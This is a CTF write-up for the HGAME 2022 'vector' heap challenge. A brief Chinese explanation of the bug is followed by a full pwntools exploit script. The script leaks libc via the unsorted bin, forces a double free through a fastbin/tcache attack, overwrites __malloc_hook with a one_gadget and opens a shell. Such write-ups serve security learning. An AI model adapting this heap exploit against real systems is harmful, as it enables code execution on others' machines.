PWN-COMPETITION-HGAME2022-Week4
vector
c++写的pwn,实现了vector,没有edit功能,新增了move功能
add或move时,如果输入的下标大于vector的size,vector会进行resize扩容
旧vector占用的chunk自动被free掉进入相应的bin,数据转移到新vector中
利用add时的vector扩容,free掉size大于0x410的chunk,使其进入unsorted bin,泄露libc
利用move时的vector扩容,可以造成新vector中有两个元素指向同一chunk,于是可以double free
# -*- coding:utf-8 -*-
from pwn import *
from pwnlib.util.iters import mbruteforce
import itertools
import hashlib
#context.log_level="debug"
is_remote=1
#io=process("./vector")
io=remote("chuj.top",53180)
elf=ELF("./vector")
libc=ELF("./libc.so.6")
#gdb.attach(io)
#pause()
io.recvuntil("sha256(????) == ")
code=io.recvuntil("\n")[:-1]
charset = string.printable
proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == code, charset, 4, method='fixed')
io.sendlineafter("????> ",proof)
def add(index,size,content):
io.sendlineafter(">> ","1")
io.sendlineafter("ndex?\n>> ",str(index))
io.sendlineafter("size?\n>> ",str(size))# 0~0x100
io.sendafter("content?\n>> ",content)
def show(index):
io.sendlineafter(">> ","3")
io.sendlineafter("ndex?\n>> ",str(index))
def free(index):
io.sendlineafter(">> ","4")
io.sendlineafter("ndex?\n>> ",str(index))
def move(index,index_move_to):
io.sendlineafter(">> ","5")
for i in range(index):
io.sendlineafter("[1/0]\n>> ","0")
io.sendlineafter("[1/0]\n>> ","1")
if is_remote:
io.sendlineafter("copy to?\n>> ",str(index_move_to))
else:
io.sendlineafter("move to?\n>> ",str(index_move_to))
#pause()
add(0,0x18,"a"*8)
#pause()
add(130,0x18,"b"*8)
#pause()
#vector扩容,原来的vector会进入unsorted bin
#这里会从unsorted bin中切割一块0x20大小的chunk
#不输入,fd和bk均指向一个相对于main_arena偏移固定的地址
add(132,0,"")#
#pause()
#泄露libc
show(132)
libc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x1EBFD0
print("libc_base=="+hex(libc_base))
__malloc_hook=libc_base+libc.sym["__malloc_hook"]
print("__malloc_hook=="+hex(__malloc_hook))
realloc=libc_base+libc.sym["realloc"]
print("realloc=="+hex(realloc))
__free_hook=libc_base+libc.sym["__free_hook"]
print("__free_hook=="+hex(__free_hook))
oggs=[0xe6c7e,0xe6c81,0xe6c84]
ogg=libc_base+oggs[0]
print("ogg=="+hex(ogg))
#pause()
#用完unsorted bin
for i in range(1,5):
add(i,0x100-8,"d"*8)
#pause()
#7个0x70大小的chunk,free后进入tcache
for i in range(5,12):
add(i,0x68,"e"*8)
#pause()
#2个0x70大小的chunk,free后进入fastbin
add(12,0x68,"f"*8)
add(13,0x68,"g"*8)
#pause()
#这里会让vector[12]和vector[262]指向同一个chunk,可用于double free
move(12,262)
#pause()
#填满0x70大小的chunk
for i in range(5,12):
free(i)
#pause()
#double free的第一次free
free(12)
#pause()
#glibc 2.31,利用fastbin attack绕过double free检测
free(13)
#pause()
#double free的第二次free
free(262)
#pause()
#将tcache中0x70大小的chunk用完
for i in range(5,12):
add(i,0x68,"e"*8)
#pause()
#从fastbin中取出一个0x70大小的chunk,覆盖其fd为__realloc_hook
#取出后,stash会把fastbin链表中的chunk全部放入tcache中
print("__malloc_hook=="+hex(__malloc_hook))
add(14,0x68,p64(__malloc_hook-0x8))
#pause()
#取出tcache中的两个0x70大小的chunk
add(15,0x68,"P1umH0")
add(16,0x68,"P1umH0")
#pause()
#这次malloc会将__realloc_hook覆写为ogg,__malloc_hook覆写为realloc真实地址
print("ogg=="+hex(ogg))
add(17,0x68,p64(ogg)+p64(realloc))
#pause()
#getshell
io.sendlineafter(">> ","1")
io.sendlineafter("ndex?\n>> ",str(18))
io.sendlineafter("size?\n>> ",str(0))
io.sendline("cat flag")
io.interactive()